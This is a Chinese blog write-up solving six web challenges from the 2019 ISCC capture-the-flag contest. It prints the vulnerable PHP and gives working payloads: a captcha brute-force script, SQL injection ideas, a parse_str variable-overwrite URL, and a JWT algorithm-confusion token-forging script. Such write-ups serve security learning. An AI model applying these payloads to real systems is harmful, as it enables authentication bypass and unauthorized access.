2019 ISCC Web wp
2019 ISCC Web wp,没什么太大意义…原题比较多…没学到啥…
Web
Web1
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';
for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}
highlight_file(__FILE__);
http://39.100.83.188:8001/?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=2332e1
Web2
提示破解3位数字密码,可以写脚本来跑,由于他的验证码是每次 GET 一次就刷一次,验证码处理这块会比较麻烦,学习了一波验证码的处理识别与 selenuim 爬虫的知识,写了个半成品,但是貌似这个处理 response 不太好处理,最后盲猜 996 拿到 flag
import pytesseract
import requests
import time
from PIL import Image
from selenium import webdriver
'''
调用接口请求验证码,保存到本地,识别验证,检查识别的验证码对不对。
'''
driver = webdriver.Chrome()
driver.get("http://39.100.83.188:8002/")
driver.add_cookie({
'domain': '39.100.83.188:8002',
'name': 'PHPSESSID',
'value': 'alsrko26h2mlbmkgv54r4gpcf3',
'path': '/',
'expires': None
})
driver.get("http://39.100.83.188:8002/")
# 比较好理解、截图并保存到这个路径
driver.get_screenshot_as_file('./screenshoot.png')
# driver.close()
# 打开刚刚保存的图片
im = Image.open('./screenshoot.png')
# 设置要裁剪的区域(验证码所在的区域)
box = (0, 200, 130, 300)
# 截图,生成只有验证码的图片
region = im.crop(box)
# 保存到本地路径
region.save("./code.png")
# 读取验证码图片
image = Image.open("./code.png")
# 开始识别验证码
optCode = pytesseract.image_to_string(image)
# 打印出验证码
print("验证码:", optCode)
password = '999'
driver.find_element_by_name("pwd").send_keys(password)
driver.find_element_by_name("user_code").send_keys(optCode)
driver.find_element_by_name("Login").click()
print(driver)
后来看其他师傅,可以把 cookie 删掉来达到爆破密码
Web3
感觉是把 sql-lab 二次注入的题目给拿了上来,就是利用注册admin'#来更改管理员账号密码的那个题
但是貌似过滤了一些字符,但是管他么多,师傅们都是懒的,直接用admin/123456上去拿到 flag
看了其他师傅的wp,可以通过admin'--xx来二次注入,奇怪的是当时我并没有成功…可能并发确实太多了…
Web4
代码审计题
<?php
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}
if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if($hashed_input!==$hashed_key){
die("<img src='cxk.jpg'>");
}
echo $flag;
}
}else{
show_source(__FILE__);
}?>
又是一个原题,利用pase_str函数的特性:
parse_str ( string $encoded_string [, array &\$result ] ) : void
如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。
传入hashed_key覆盖掉hased_key即可
Payload:
action=auth&key=test&hashed_key=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
Web5
脑洞题…脑洞对不上…
参考2019iscc wp,考点是注入,过滤了圆括号,注释符,from等等
payload :order by 排序盲注
Web6
测试发现一些特殊符号被转义
!@#$%^&*()_+-={}|[]\\:\";'<>?,./
然后发现并没有什么用…
然后发现有 jwt ,但是看了一下并没什么,参考了JSON Web Token (JWT) 攻击技巧,试了几种方式,改加密算法为 none 没用,又没有公钥…
然后终于在 http://39.100.83.188:8053/static/js/common.js 中发现了
function getpubkey(){
/*
get the pubkey for test
/pubkey/{md5(username+password)}
*/
}
这个没有用到的函数,还以为公钥是用md5(username+password),结果发现这是个 url …
访问 http://39.100.83.188:8053/pubkey/9af8bd54cb8f00ac47d6050c99a5494b 得到
{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true}
拿上面那篇先知文章的 exp 出来改一下
import jwt
public = '''-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----'''
print public
print jwt.encode({"name":"zeddy","priv":"admin"}, key=public, algorithm='HS256')
这里注意,如果要用这个 exp 必须得用pyjwt==0.4.3,而且 python 还有个库也叫 jwt …这里需要用 python2 把两个jwt/PyJWT都卸了,然后装上面那个就行了。
用这个 jwt 访问/list就可以得到 admin 的 pastebin 了,访问即是 flag
</div>
<div class="columns is-variable is-1 is-multiline is-mobile">
<span class="column is-narrow"><a class="tag is-light article-tag" href="/tags/CTF/">#CTF</a></span>
<span class="column is-narrow"><a class="tag is-light article-tag" href="/tags/wp/">#wp</a></span>
</div>
<div class="columns is-mobile is-multiline article-nav">
<span class="column is-12-mobile is-half-desktop article-nav-prev">
<a href="/2019/06/04/2019qwb/">2019强网杯部分Web wp</a>
</span>
<span class="column is-12-mobile is-half-desktop article-nav-next">
<a href="/2019/05/09/2019ciscn-RefSpace/">2019 CISCN RefSpace</a>
</span>
</div>